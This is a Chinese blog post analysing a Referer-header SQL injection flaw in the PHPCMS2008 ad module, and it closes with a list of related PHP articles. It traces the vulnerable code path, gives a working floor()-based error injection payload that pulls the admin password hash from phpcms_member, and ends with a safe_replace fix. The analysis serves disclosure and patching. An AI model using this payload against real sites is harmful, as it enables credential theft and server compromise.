PHPCMS2008广告模板SQL注入漏洞修复


Posted in PHP onOctober 11, 2016

00 漏洞描述

PHPCMS2008由于广告模块取referer不严,导致一处sql注入漏洞.可以得到管理员用户名与密码,攻击者登录后台后可能会获取webshell,对服务器进行进一步的渗透。

01 漏洞分析

漏洞产生的位置:

/ads/include/ads_place.class.phpshow方法中.

function show($placeid)
...
if($adses[0]['option'])
{
foreach($adses as $ads)
{
$contents[] = ads_content($ads, 1);
$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referrer',‘$time',,'0')”);
$template = $ads['template'] ? $ads['template'] : 'ads';
}
}
...

sql语句中

$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referrer',‘$time',,'0')”);

这里$this->referrer过this方法直接将HTTP请求头中的referer字段插入到数据库中,没有做任何过滤措施。(这个this方法是PHPCMS里面直接封装的)。

所以现在已经找到漏洞点,下一步就是找包含漏洞的用户可控的页面。如果漏洞是用户不可控的,比如只能管理员利用,那就相当的鸡肋了。

这里使用回溯的方法,看看哪些页面调用了它。

页面/ads/include/commom.inc.php

<?php 
...
require MOD_ROOT.'include/ads_place.class.php';
require MOD_ROOT.'include/ads.class.php';
...
?>

在往上看看谁调用了/ads/include/commom.inc.php

/ads/ad.php文件中

<?php
...
require './include/common.inc.php';
...
?>

ad.php文件为用户可控文件,但ad.php有时不能访问,继续向上查找/data/js.php

<?php
chdir(‘../ads/');
require ‘./ad.php';
?>

在用户访问首页时,会调用js.php,通过该文件可以提交有害字段,然后通过逐层调用,传入字段referer到危险方法show,引入SQL注入攻击。

02 漏洞利用

修改请求头中的referer字段的话有很多种,比如burpsuite,Tamper Data…

这里直接使用火狐的Tamper Data进行修改:

点击Start Tamper,然后访问http://your-addr/data/js.php?id=1

这时候Tamper Data会跳出来,在右边框内,点击右键,添加一个element值填写payload

referer=1', (SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#

这里我解释一下:因为漏洞的sql语句是INSERT是不回显的,所以可以使用盲注,这里的payload使用的floor报错注入。floor报错注入原理请参考:floor函数用法

把这个payload带入sql语句中是:

$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘1',‘$time',(SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#,'0')”);

PHPCMS2008广告模板SQL注入漏洞修复

03 漏洞修复

对相关字段进行过滤处理。

$referer = safe_replace($this->referer);
$this->db->query("INSERT INTO $this->stat_table (`adsid`, `username`, `ip`, `referer`, `clicktime`, `type`) VALUES ('$ads[adsid]', '$_username', '$ip', '$referer', '$time', '0')");
$template = $ads['template'] ? $ads['template'] : 'ads';

这里safe_replace是PHPCMS2008封装的过滤函数。

以上所述是小编给大家介绍的PHPCMS2008广告模板SQL注入漏洞,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

PHP 相关文章推荐
php UTF8 文件的签名问题
Oct 30 PHP
PHP中对用户身份认证实现两种方法
Jun 04 PHP
PHP表单递交控件名称含有点号(.)会被转化为下划线(_)的处理方法
Jan 06 PHP
使用php+apc实现上传进度条且在IE7下不显示的问题解决方法
Apr 25 PHP
php获取本地图片文件并生成xml文件输出具体思路
Apr 27 PHP
使用Linux五年积累的一些经验技巧
Jun 20 PHP
php数组删除元素示例
Mar 21 PHP
ZF框架实现发送邮件的方法
Dec 03 PHP
windows server 2008/2012安装php iis7 mysql环境搭建教程
Jun 30 PHP
PHP从数组中删除元素的四种方法实例
May 12 PHP
PHP实现的堆排序算法详解
Aug 17 PHP
redis+php实现微博(一)注册与登录功能详解
Sep 23 PHP
php基于curl实现随机ip地址抓取内容的方法
Oct 11 #PHP
php 获取文件行数的方法总结
Oct 11 #PHP
PHP中文字符串截断无乱码解决方法
Oct 10 #PHP
PHP获取用户客户端真实IP的解决方案
Oct 10 #PHP
php表单加入Token防止重复提交的方法分析
Oct 10 #PHP
Laravel5中防止XSS跨站攻击的方法
Oct 10 #PHP
php中让人头疼的浮点数运算分析
Oct 10 #PHP
You might like
多人战的战术与战略
2020/03/04 星际争霸
mysql5的sql文件导入到mysql4的方法
2008/10/19 PHP
PHP 5.3.1 安装包 VC9 VC6不同版本的区别是什么
2010/07/04 PHP
php 记录进行累加并显示总时长为秒的结果
2011/11/04 PHP
PHP教程之PHP中shell脚本的使用方法分享
2012/02/23 PHP
php实现数据库的增删改查
2017/02/26 PHP
PHP封装的XML简单操作类完整实例
2017/11/13 PHP
PHP实现二叉树深度优先遍历(前序、中序、后序)和广度优先遍历(层次)实例详解
2018/04/20 PHP
Laravel 实现添加多语言提示信息
2019/10/25 PHP
event.srcElement+表格应用
2006/08/29 Javascript
WordPress 照片lightbox效果的运用几点
2009/06/22 Javascript
JQuery index()方法使用代码
2010/06/02 Javascript
JavaScript使用shift方法移除素组第一个元素实例分析
2015/04/06 Javascript
用jquery的attr方法实现图片切换效果
2017/02/05 Javascript
浅谈JS中的反柯里化( uncurrying)
2017/08/17 Javascript
vuex 项目结构目录及一些简单配置介绍
2018/04/08 Javascript
微信小程序左滑动显示菜单功能的实现
2018/06/14 Javascript
使用 JavaScript 创建并下载文件(模拟点击)
2019/10/25 Javascript
深入理解python中的闭包和装饰器
2016/06/12 Python
python中实现迭代器(iterator)的方法示例
2017/01/19 Python
python 寻找list中最大元素对应的索引方法
2018/06/28 Python
利用python脚本如何简化jar操作命令
2019/02/24 Python
Python学习笔记之自定义函数用法详解
2019/06/08 Python
Python zip函数打包元素实例解析
2019/12/11 Python
Python3标准库之threading进程中管理并发操作方法
2020/03/30 Python
Python经典五人分鱼实例讲解
2021/01/04 Python
浅析HTML5:'data-'属性的作用
2018/01/23 HTML / CSS
Linux如何命名文件--使用文件名时应注意
2014/05/29 面试题
2014植树节活动总结
2014/03/11 职场文书
《北京的春节》教学反思
2014/04/07 职场文书
《放小鸟》教学反思
2014/04/20 职场文书
模具设计与制造专业求职信
2014/07/19 职场文书
毕业生找工作求职信
2014/08/05 职场文书
2016党员发展对象培训心得体会
2016/01/08 职场文书
JVM的类加载器和双亲委派模式你了解吗
2022/03/13 Java/Android
mysql函数之截取字符串的实现
2022/08/14 MySQL